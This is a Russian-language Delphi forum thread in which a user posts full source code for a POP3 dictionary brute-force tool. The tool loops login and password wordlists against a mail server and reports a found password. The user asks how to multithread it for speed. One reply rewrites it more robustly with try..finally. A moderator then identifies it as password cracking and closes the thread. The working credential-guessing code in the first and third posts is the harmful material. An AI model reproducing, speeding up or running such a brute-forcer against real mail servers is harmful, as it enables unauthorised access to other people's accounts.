Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > Интернет и сети
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 22.12.2008, 04:08
applestwin applestwin вне форума
Прохожий
 
Регистрация: 22.12.2008
Сообщения: 1
Репутация: 10
Вопрос Использование потоков

Здраствуйте срочно нужна помощь по использованию потоков в данном приложение, чтобы увеличить скорость перебора,
Кто может скажите пожалуйста что надо дописать.
Если потребуется могу соурс выложить.
Зарание огромное спасибо.

Код:
unit brut;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdMessageClient, IdPOP3, Buttons, StdCtrls,
  IdThreadComponent, IdThreadMgrPool, IdThreadMgr, IdThreadMgrDefault,
  ComCtrls;

type
  TForm1 = class(TForm)
    NameEdit: TEdit;
    PassEdit: TEdit;
    ServerNameEdit: TEdit;
    PortEdit: TEdit;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    Button1: TButton;
    BitBtn1: TBitBtn;
    IdPOP: TIdPOP3;
    IdAntiFreeze1: TIdAntiFreeze;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);

  var
  LoginStrings, PassStrings:TStrings;
  i, j:Integer;
  begin //Создаем массивы строк
  LoginStrings:=TStringList.Create;
  PassStrings:=TStringList.Create; //Загружаем варианты — справочники имен и паролей
  LoginStrings.LoadFromFile(NameEdit.Text);
  PassStrings.LoadFromFile(PassEdit.Text) ; //Устанавливаем адрес и порт сервера
  IdPOP.Host := ServerNameEdit.Text;
  IdPOP.Port := StrToInt(PortEdit.Text); //Начинаем перебор
  for i:=0 to LoginStrings.Count-1 do
  for j:=0 to PassStrings.Count-1 do
  begin //Передаем имя и пароль компоненту
  IdPOP.Username := LoginStrings.Strings[i];
  IdPOP.Password := PassStrings.Strings[j];  //Попытка соединения.
  try
    IdPOP.Connect;
    except
    end; //Если соединение установлено, то выводим об этом сообщение
    if IdPOP.Connected
    then
    begin //Показываем найденный пароль
    Application.MessageBox(PChar('Имя:'+LoginStrings.Strings[i]+
   'Пароль:'+PassStrings.Strings[j]), 'Пароль найден');
    IdPOP.Disconnect;
    Exit;
    end;
    end; //Уничтожаем массивы строк
    LoginStrings.Free;
    PassStrings.Free;
    end;

end.
  #2  
Старый 23.12.2008, 01:48
san-46 san-46 вне форума
Активный
 
Регистрация: 25.04.2008
Сообщения: 383
Репутация: 33
По умолчанию

Странный такой код.
POP сервер хранит уникальные пары "логин-пароль".
И никак не может быть чтобы у одного имени пользователя было несколько паролей.
А в коде вложенные циклы как раз это и пытаются делать, т.е. устанавливая логин на первой итерации в цикле for i:=0 ...
перебираются все пароли из PassStrings в цикле for j:=0 ...
С одним и тем же логином происходят попытки соединится с сервером со всеми возможными паролями.
На второй итерации берется другой логин и опять происходят попытки коннектов со всеми паролями, ну, и т.д.
Это логическая ошибка, которая приводит к тому что на какой-либо итерации connect обязательно не сработает.

Вторая ошибка уже техническая. Exit после первого же успешного коннекта выполняет выход из процедуры, что не позволит освободить массивы строк - произойдет утечка памяти.
И циклы попыток соединений с сервером прервутся.

И третье. Если делать лишние итерации как показано выше, то бесполезные попытки коннектов приводят к увеличению времени работы этой процедуры.
Никакие потоки (thread'ы) здесь не помогут, т.к. само по себе соединение с POP сервером достаточно длительный процесс.
Лучше оптимизировать код, убрав лишние итерации и процедура будет работать много быстрее.

А о потоках лучше почитать классиков: http://forum.vingrad.ru/forum/topic-60076.html
__________________
Не забывайте делать резервные копии
  #3  
Старый 23.12.2008, 10:32
Grunch Grunch вне форума
Новичок
 
Регистрация: 08.04.2008
Адрес: Краснодар
Сообщения: 52
Репутация: 10
По умолчанию

Позволю себе не согласиться с san-46. Логически все верно, для каждого логина перебираются возможные варианты пароля из словаря. И лишних итераций вроде быть не должно.
Я бы обернул всю процедуру в try..finally:
Код:
procedure TForm1.Button1Click(Sender: TObject);

var
  LoginStrings, PassStrings:TStrings;
  i, j:Integer;
begin //Создаем массивы строк
  try
    LoginStrings:=TStringList.Create;
    PassStrings:=TStringList.Create; //Загружаем варианты — справочники имен и паролей
    LoginStrings.LoadFromFile(NameEdit.Text);
    PassStrings.LoadFromFile(PassEdit.Text) ; //Устанавливаем адрес и порт сервера
    IdPOP.Host := ServerNameEdit.Text;
    IdPOP.Port := StrToInt(PortEdit.Text); //Начинаем перебор
    for i:=0 to LoginStrings.Count-1 do
      for j:=0 to PassStrings.Count-1 do
      begin //Передаем имя и пароль компоненту
        IdPOP.Username := LoginStrings.Strings[i];
        IdPOP.Password := PassStrings.Strings[j];  //Попытка соединения.
        try
          IdPOP.Connect;
        except
        end; //Если соединение установлено, то выводим об этом сообщение
        if IdPOP.Connected then
        begin //Показываем найденный пароль
          Application.MessageBox(PChar('Имя:'+LoginStrings.Strings[i]+
          'Пароль:'+PassStrings.Strings[j]), 'Пароль найден');
          IdPOP.Disconnect;
          Exit;
        end;
      end; //Уничтожаем массивы строк
    finally
      LoginStrings.Free;
      PassStrings.Free;
  end;
end;
  #4  
Старый 23.12.2008, 14:43
lmikle lmikle вне форума
Модератор
 
Регистрация: 17.04.2008
Сообщения: 8,015
Версия Delphi: 7, XE3, 10.2
Репутация: 49089
По умолчанию

Ага, реализация алгоритма взлома пароля по заранее заданному словарю.
Пункт 2.7 правил. Так что тему закрываем.
Закрытая тема


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 18:17.


 

Сайт

Форум

FAQ

RSS лента

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2023

ВКонтакте   Facebook   Twitter